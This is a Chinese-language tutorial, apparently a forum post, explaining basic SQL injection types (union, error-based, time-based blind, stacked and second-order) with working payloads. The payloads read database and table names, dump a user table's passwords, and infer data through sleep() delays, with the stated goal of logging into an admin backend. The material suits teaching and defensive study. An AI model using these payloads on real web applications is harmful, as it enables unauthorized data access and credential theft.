常见sql注入的类型

这里只讲解sql注入漏洞的基本类型，代码分析将放在另外一篇帖子讲解

0x01最基础的注入-union注入攻击

判断是get型还是post型注入；
找到正确的闭合规则；
order by 查询字段数；
union select 1,2.....查看显示位是第几位，没有的话就试试把id=1的显示位让出来，让其等于id=-1；
第二、三位显示出来了，那么即可在这两个位置写入sql语句；
查询当前数据库,当前mysql用户 union select 1,user(),database()；
查询当前数据库里面的表 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="data_name";
查询到敏感表名user，继续查询表里面的字段 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="user";
查询字段，例如“id”、"passwd"的内容 union select 1,id,passwd from user;
拿到用户、密码登入后台。

updatexml报错获取当前数据库：

and updatexml(1,concat(0x7e,(select database()),0x7e),1)

floor报错获取当前数据库：

and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a)

没有明确的现象，不管是对是错都返回一个状态；
但是如果用sleep(5)方法，能让响应时间延迟为5秒以上，那么就为时间盲注；
我们用sleep(5)函数构造了一个时间延时的状态，因此，我们又有了两种状态，像布尔盲注一样可以根据这两种状态来判定数据库、表名和字段名的长度和正确的每个字母；
同样的找到正确的闭合规则，当然，这个闭合规则得配合着 and sleep(5)语句来构造，哪一个闭合规则执行了sleep(5)，那么就是正确得闭合规则；
时间盲注配合着 if(A,B,C) 语句结合使用，含义是：如果A是 true，则返回B（也就是执行B），否则返回C（执行C）；
那么判断当前数据库名的长度的语句为：
```
if (length(database())>1,sleep(5),1)
```
就是说如果数据库长度大于1，那么响应延时5秒，否则执行select 1(也就是不延时)，由此来推出数据库长度。
判断当前数据库名的第一个和第二个字母的语句：
```
if(substr(database(),1,1)=‘s‘,sleep(5),1)
```
```
if(substr(database(),2,1)=‘s‘,sleep(5),1)
```
只有第一个字母等于26个字母中正确的字母时，才会延时5秒，因此可以通过burp或者sqlmap来跑。
根据数据库名长度以此内推即可得出完整的数据库的库命、表名、字段名和具体内容。

堆叠注入的语句为

;select if(length(database())>1,sleep(3),1)
;select if(substr(database(),1,1)=‘r‘,sleep(3),1)

二次注入一共有两个url，url一用来注入，也就是注入点，插入sql语句的地方，另外一个url用来返回信息；
也就是url一插入了sql语句，url一的响应里面就会返回这条信息对应的id值，然后url二就传入这个新id值，然后访问，响应回来之后将会爆出sql语句查询的结果，正确或者错误的sql信息；
就相当于url是一个用户注册的地方，用户注册后会在数据库里面加入新id存放用户的注册信息，那么这个id可以传给url二来访问，url二就可以显示出用户的注册信息，但如果注册信息含义恶意sql语句，url二就会显示出敏感的数据库信息；
跟union注入攻击差不多，只是回显的信息需要在另外的url中显示出来了；
后面就是union注入攻击的常规操作。